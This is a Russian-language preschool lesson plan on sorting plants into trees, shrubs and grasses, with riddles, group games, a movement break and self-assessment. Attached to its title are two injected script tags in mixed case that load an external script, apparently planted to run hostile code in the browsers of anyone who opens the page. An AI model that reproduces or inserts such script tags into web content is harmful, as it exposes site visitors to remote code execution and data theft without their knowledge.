Занятие по естествознанию в предшкольном классе<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Образовательная область:

Познание.

ОУД/занятие:

Естествознание. Как дружат растения.

Цель обучения:

классифицировать растения на группы: деревья, кустарники и травы.

Цель ОУД/занятия:

Все воспитанники смогут: назвать несколько видов деревьев, кустарников и трав.

Большинство воспитанников смогут:

классифицировать растения на группы: деревья, кустарники и травы по отличительным признакам.

Некоторые воспитанники смогут: самостоятельно охарактеризовать и сгруппировать растения по группам.

Навыки обучения:

Коммуникативные, познавательные (познание окружающего мира),  4К, исследовательские навыки.

Ход занятия:

Психологический настрой.

Воспитатель предлагает детям принять участие в упражнении на создание положительного эмоционального настроя.

Все мы дружные ребята,

Мы ребята-дошколята.

Никого не обижаем,

Как заботиться, мы знаем,

Никого в беде не бросим,

Не отнимем, а попросим.

Пусть всем будет хорошо,

Будет радостно, светло!

Актуализация знаний.

Активный метод «Отгадай загадку».

Воспитатель заинтересовывает детей. В царстве растений было 3 государства. А кто жил в этих государствах? Вы узнаете, если отгадаете 3 загадки. Итак, первая загадка.

Нам в дождь и в зной

Поможет друг,

Зелёный и хороший –

Протянет нам десятки рук

И тысячи ладошек. (Дерево).

Послушайте, кто жил во втором государстве.

Никак не могу понять я:

Похожи кусты, как братья.

А ягоды у них разные -

Чёрные, белые, красные. (Смородина).

Третья загадка.

Она под осень умирает,

И вновь весною оживает.

Иглой зелёной выйдет к свету,

Растет, цветёт всё лето.

Коровам без неё – беда:

Она - их главная еда. (Трава).

Метод дифференциации через постановку вопросов.

Дети как можно назвать все эти слова-отгадки одним словом? (Растения)

На какие3 группы можно классифицировать эти растения? (Деревья, кустарники, травы). Какие деревья, кустарники, травы растут на территории нашей школы? А какова может быть цель нашего урока? Молодцы! Сегодня мы будем говорить на тему «Как дружат растения». Педагог вывешивает на доску картинки деревьев, кустарников, трав.

(Г) Активный метод /дидактическая игра  «Раздели на группы».

Метод дифференциации через группирование

1 группа – высокий и средний уровень мышления

2 группа – средний и низкий уровень мышления

Метод дифференциации через ресурсы.

1 группа –   картинки деревьев, кустарников, трав (8 картинок)

2 группа – картинки деревьев, кустарников, трав(5 картинок)

Метод дифференциации через задание.

Необходимо разложить картинки, лежащие на столах на три группы. Объяснить свой выбор.

Задание для 1 группы – разделите растения на три группы (деревья, кустарники, травы) и назовите их.

Задание для 2 группы – разделите растения на три группы и назовите их отличительные признаки.

Физминутка «Деревья, кустарники, травы».

При назывании дерева – вытягиваем руки вверх, встаём на цыпочки, чтобы показать, какие деревья высокие. Кустарник – руки разводим в стороны (кусты широкие), травы – присаживаемся на корточки (травы низкие).

(П) Активный метод. Игра «С какого растения лист?».

Дети по листочку, должны угадать с какого растения лист.

Метод дифференциации через группирование (по уровню мыслительной деятельности)

1 пара – учащиеся с сильной мотивацией

2 пара – учащиеся со средней и слабой мотивацией.

Метод дифференциации через задание.

Задание для первой пары:

выберите подходящий листочек и наклейте на растение, назовите характерные признаки этого растения.

Задание для второй пары:

выберите подходящий листочек и наклейте на растение, назовите характерные признаки этого растения, сгруппируйте растения в группы по три штуки.

Ресурсы:

для 1 пары: карточки с изображением дерева, кустарника, травы, коробочка с  листьями, клей.

Для 2 пары: карточки с изображением дерева, кустарника, травы, коробочка с  листьями, клей, плакат (для группирования растений).

Метод дифференциации оказание поддержки (при помощи дополнительных вопросов).

Рефлексия.

-Ребята, скажите, какая была цель нашего занятия?

-Как вы думаете,  достигли ли мы цель занятия?

Оцените свою работу на занятии при помощи цветочков.

КРИТЕРИИ НАБЛЮДЕНИЯ

+ - знает

*-допускает ошибки

- не знает